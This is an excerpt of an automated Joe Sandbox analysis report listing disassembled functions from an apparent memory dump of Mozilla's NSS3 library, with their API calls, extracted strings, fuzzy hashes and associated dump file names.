SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C527FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C528038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C528050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C528093
SECOID_FindOID_Util.NSS3 ref: 6C527F29

Part of subcall function 6C5207B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C4C8298,?,?,?,6C4BFCE5,?), ref: 6C5207BF
Part of subcall function 6C5207B0: PL_HashTableLookup.NSS3(?,?), ref: 6C5207E6
Part of subcall function 6C5207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C52081B
Part of subcall function 6C5207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C520825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C528072
SECOID_FindOID_Util.NSS3 ref: 6C5280F5

Part of subcall function 6C52BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C52800A,00000000,?,00000000,?), ref: 6C52BC3F

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 495f4ae0ae368dfe0aa414e79a6b2eb3985b6889a50d1e82c143b0749aeff12c
Instruction ID: a8c50096f540344f4d54d7946e6154c67f158f0fa3ee51923554dd48a4054b06
Opcode Fuzzy Hash: 495f4ae0ae368dfe0aa414e79a6b2eb3985b6889a50d1e82c143b0749aeff12c
Instruction Fuzzy Hash: 11E17D71609301DFE710CF28CC80B5AB7E5AF84358F14496DE99A9BB91E739EC05CB92

Function 6C4E79F0 Relevance: 30.5, APIs: 20, Instructions: 455COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C5EAB28,000000FC), ref: 6C4E7A1E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C4E7A48

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ErrorValuememcpy
String ID:
API String ID: 3044119603-0
Opcode ID: be18ef55ad5c5095b98cf7d12d1b45fb9ccc75d5e5dc81f1d92ca01a1241ffc2
Instruction ID: afeb5091de662f5a12919c2ebc2cce0bf2ce1e595ed6896a340f7ce95ce500f6
Opcode Fuzzy Hash: be18ef55ad5c5095b98cf7d12d1b45fb9ccc75d5e5dc81f1d92ca01a1241ffc2
Instruction Fuzzy Hash: A8028DB1D002199BEB21CF54CC80FEAB7B4AF09309F0581E9E909A7751E7719E99CF91

Function 6C4B1C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C4B1C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C4B1C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C4B1CA1
GetLengthSid.ADVAPI32(?), ref: 6C4B1CA9
malloc.MOZGLUE(00000000), ref: 6C4B1CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C4B1CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C4B1CE4
GetLengthSid.ADVAPI32(?), ref: 6C4B1CEC
malloc.MOZGLUE(00000000), ref: 6C4B1CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C4B1D0F
CloseHandle.KERNEL32(?), ref: 6C4B1D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C4B1D4D
GetLastError.KERNEL32 ref: 6C4B1D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C4B1D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C4B1D7A

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 3f7146a59590e4ab2f372dd1ad8071f4c6084ceaf4536b14fabae09b710cec41
Instruction ID: 84ca17f419ade9da361b6f7a8b908f5cff61d817a613f0a1cfcc456ec0127d64
Opcode Fuzzy Hash: 3f7146a59590e4ab2f372dd1ad8071f4c6084ceaf4536b14fabae09b710cec41
Instruction Fuzzy Hash: 1D3141B1600218AFEB11AF69CC89BAE7BF8EF4A345F004166F50992650E7315994CF69

Function 6C4B3D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C4B3DFB
__allrem.LIBCMT ref: 6C4B3EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C4B3FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C4B4047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4B40DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C4B415F
__allrem.LIBCMT ref: 6C4B416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C4B4288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C4B42AB
__allrem.LIBCMT ref: 6C4B42B7

Strings

%lld, xrefs: 6C4B3FB2
%02d, xrefs: 6C4B4086
%03d, xrefs: 6C4B42E8
%04d, xrefs: 6C4B407B

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 675992f7e66121bdf39df6639e4d46f4a09106bdb3602587da990f2b069c84fb
Instruction ID: d9938e7c6fd1da11212e766561ed17da4084f4a8371547163216c2574f378b81
Opcode Fuzzy Hash: 675992f7e66121bdf39df6639e4d46f4a09106bdb3602587da990f2b069c84fb
Instruction Fuzzy Hash: C8F1E171A087409FD715CF38C881F6AB7F6AF85358F148A2DE485A7751EB30E846CB62

Function 6C461C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C461D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C461EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C461FB7

Strings

unknown error, xrefs: 6C462291
abort due to ROLLBACK, xrefs: 6C462223
sqlite_temp_master, xrefs: 6C461C5C
attached databases must use the same text encoding as main database, xrefs: 6C4620CA
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C461F83
no more rows available, xrefs: 6C462264
table, xrefs: 6C461C8B
sqlite_master, xrefs: 6C461C61
another row available, xrefs: 6C462287
unsupported file format, xrefs: 6C462188

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 5babbdc3381cc68e4882e9ef1f13ed3e06a5eb1410cb901b953c89aec38f39d0
Instruction ID: e6e96a23d150562c5aa5c48fbad8c06758a396e47c2d98f11ffee4a7efcc4d0c
Opcode Fuzzy Hash: 5babbdc3381cc68e4882e9ef1f13ed3e06a5eb1410cb901b953c89aec38f39d0
Instruction Fuzzy Hash: C712CE706083419FD714CF1AC484E5AB7F2BF85318F18896DE9959BB1ADB31EC46CB82

Function 6C52EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C52C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C52DAE2,?), ref: 6C52C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C52F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C52F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C52F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C52F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C5F218C), ref: 6C52F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C52F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C52F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C52F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C52F210

Part of subcall function 6C4D52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C52F1E9,?,00000000,?,?), ref: 6C4D52F5
Part of subcall function 6C4D52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C4D530F
Part of subcall function 6C4D52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C4D5326
Part of subcall function 6C4D52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C52F1E9,?,00000000,?,?), ref: 6C4D5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C52F227

Part of subcall function 6C51FAB0: free.MOZGLUE(?,-00000001,?,?,6C4BF673,00000000,00000000), ref: 6C51FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C52F23E

Part of subcall function 6C51BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C4CE708,00000000,00000000,00000004,00000000), ref: 6C51BE6A
Part of subcall function 6C51BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C4D04DC,?), ref: 6C51BE7E
Part of subcall function 6C51BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C51BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C52F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C52F3A8

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C52F3B3

Part of subcall function 6C4D2D20: PK11_DestroyObject.NSS3(?,?), ref: 6C4D2D3C
Part of subcall function 6C4D2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C4D2D5F

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 0502568361cd2dc1abb96f879aa1b844976b249d1d1828dab85471e104656a6c
Instruction ID: 1b89a02b87bb7e571e2d22d1656b6b606fb3e97896cf8e9864f1f6f3e1a639b6
Opcode Fuzzy Hash: 0502568361cd2dc1abb96f879aa1b844976b249d1d1828dab85471e104656a6c
Instruction Fuzzy Hash: DFD19EB6E012259FEB04CF99EC80A9EB7F5FF48308F158229D915A7B51EB35E805CB50

Function 6C55DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C537FFA,00000000,?,6C5623B9,00000002,00000000,?,6C537FFA,00000002), ref: 6C55DE33

Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890AB
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890C9
Part of subcall function 6C589090: EnterCriticalSection.KERNEL32 ref: 6C5890E5
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C589116
Part of subcall function 6C589090: LeaveCriticalSection.KERNEL32 ref: 6C58913F

Part of subcall function 6C55D000: PORT_ZAlloc_Util.NSS3(00000108,?,6C55DE74,6C537FFA,00000002,?,?,?,?,?,00000000,6C537FFA,00000000,?,6C5623B9,00000002), ref: 6C55D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C537FFA,00000000,?,6C5623B9,00000002,00000000,?,6C537FFA,00000002), ref: 6C55DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C55DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C55E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C55E121
PK11_FreeSymKey.NSS3(?), ref: 6C55E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C55E195
PR_GetCurrentThread.NSS3 ref: 6C55E1FC

Part of subcall function 6C552460: PR_SetError.NSS3(FFFFE005,00000000,6C5F7379,00000002,?), ref: 6C552493

Strings

key, xrefs: 6C55E046
early application data, xrefs: 6C55DFC9
handshake data, xrefs: 6C55DFF7
application data, xrefs: 6C55DFE0

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: bb9e841c37864cc761ee27ab7b62bdd7709038032bc6c484f61f9d3a72254ed8
Instruction ID: bbd73b1a9d943b8190ec4f74fd10d76d5a2610ebed4e60349f95dc31a1fec1ca
Opcode Fuzzy Hash: bb9e841c37864cc761ee27ab7b62bdd7709038032bc6c484f61f9d3a72254ed8
Instruction Fuzzy Hash: 0AC11671B00215DBEB04CF69CC80BAAB7B4FF49308F44412AE9199BB51E775ED64CBA1

Function 6C503850 Relevance: 21.2, APIs: 14, Instructions: 233COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C50389F
EnterCriticalSection.KERNEL32(?), ref: 6C5038B3
PR_Unlock.NSS3(?), ref: 6C5038F1
TlsGetValue.KERNEL32 ref: 6C50390F
EnterCriticalSection.KERNEL32(?), ref: 6C503923
PR_Unlock.NSS3(?), ref: 6C503972
TlsGetValue.KERNEL32 ref: 6C503996
EnterCriticalSection.KERNEL32(0000001C), ref: 6C5039AE
PR_Unlock.NSS3(?), ref: 6C5039DB
PR_Unlock.NSS3(?), ref: 6C503A16

Part of subcall function 6C56DD70: TlsGetValue.KERNEL32 ref: 6C56DD8C
Part of subcall function 6C56DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C56DDB4

Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07AD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07CD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07D6
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C44204A), ref: 6C4B07E4
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,6C44204A), ref: 6C4B0864
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C4B0880
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C44204A), ref: 6C4B08CB
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08D7
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08FB

TlsGetValue.KERNEL32 ref: 6C503A36
EnterCriticalSection.KERNEL32(0000001C), ref: 6C503A4E
PR_Unlock.NSS3(?), ref: 6C503A77
PR_SetError.NSS3(00000000,00000000), ref: 6C503A8F

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$calloc$ErrorLeave
String ID:
API String ID: 1642523270-0
Opcode ID: 48d82cc095e07c446a8f4d15f16cfcfbf79a80ffbbc8eb06373e3691352e7d72
Instruction ID: b63fd85911086b7ad1061502399073ea6715e48c4ad0a13ac2e40fdad062504b
Opcode Fuzzy Hash: 48d82cc095e07c446a8f4d15f16cfcfbf79a80ffbbc8eb06373e3691352e7d72
Instruction Fuzzy Hash: 7F9166B5E00209DFDF00EF69C885AAEBBB4FF09318F185569EC15A7611E731E984CB91

Function 6C4E7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C4E7DDC

Part of subcall function 6C5207B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C4C8298,?,?,?,6C4BFCE5,?), ref: 6C5207BF
Part of subcall function 6C5207B0: PL_HashTableLookup.NSS3(?,?), ref: 6C5207E6
Part of subcall function 6C5207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C52081B
Part of subcall function 6C5207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C520825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C4E7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C4E7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C4E7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C4E7F98
PK11_FreeSymKey.NSS3(?), ref: 6C4E7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4E7FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C4E8000

Part of subcall function 6C509430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C4E7F0C,?,00000000,00000000,00000000,?), ref: 6C50943B
Part of subcall function 6C509430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C50946B
Part of subcall function 6C509430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C509546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4E8110
PK11_FreeSymKey.NSS3(00000000), ref: 6C4E811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C4E822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C4E823C

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 543ef592be1978d311e82663b0a15d27252935f11e783e5aded71c42f4dfe73d
Instruction ID: b107b27a7c0c17ba74c3670dbbb2cb812ed0547a7222ce7233551796e77bbdda
Opcode Fuzzy Hash: 543ef592be1978d311e82663b0a15d27252935f11e783e5aded71c42f4dfe73d
Instruction Fuzzy Hash: 28C16FB1D40219DBEF21CF58CC40FEAB7B9AB09309F0181E5E91DA6642E7319E85CF91

Function 6C45AEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C57CF46,?,6C44CDBD,?,6C57BF31,?,?,?,?,?,?,?), ref: 6C45B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C57CF46,?,6C44CDBD,?,6C57BF31), ref: 6C45B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C57CF46,?,6C44CDBD,?,6C57BF31), ref: 6C45B0A2
CloseHandle.KERNEL32(?,?,6C57CF46,?,6C44CDBD,?,6C57BF31,?,?,?,?,?,?,?,?,?), ref: 6C45B100
sqlite3_free.NSS3(?,?,00000002,?,6C57CF46,?,6C44CDBD,?,6C57BF31,?,?,?,?,?,?,?), ref: 6C45B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C57CF46,?,6C44CDBD,?,6C57BF31), ref: 6C45B12D

Part of subcall function 6C449EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C45C6FD,?,?,?,?,6C4AF965,00000000), ref: 6C449F0E
Part of subcall function 6C449EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C4AF965,00000000), ref: 6C449F5D

Strings

`]l, xrefs: 6C45B0DF

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `]l
API String ID: 3155957115-3493118738
Opcode ID: a4b993f4c31812a87752f8b49603c2ccc0622667b1ca35e9bae278c6bc30fba3
Instruction ID: e215e2e254ab49d87d79414f4ab0289e1cddc58d4b97b18a6d7fb479dea15eea
Opcode Fuzzy Hash: a4b993f4c31812a87752f8b49603c2ccc0622667b1ca35e9bae278c6bc30fba3
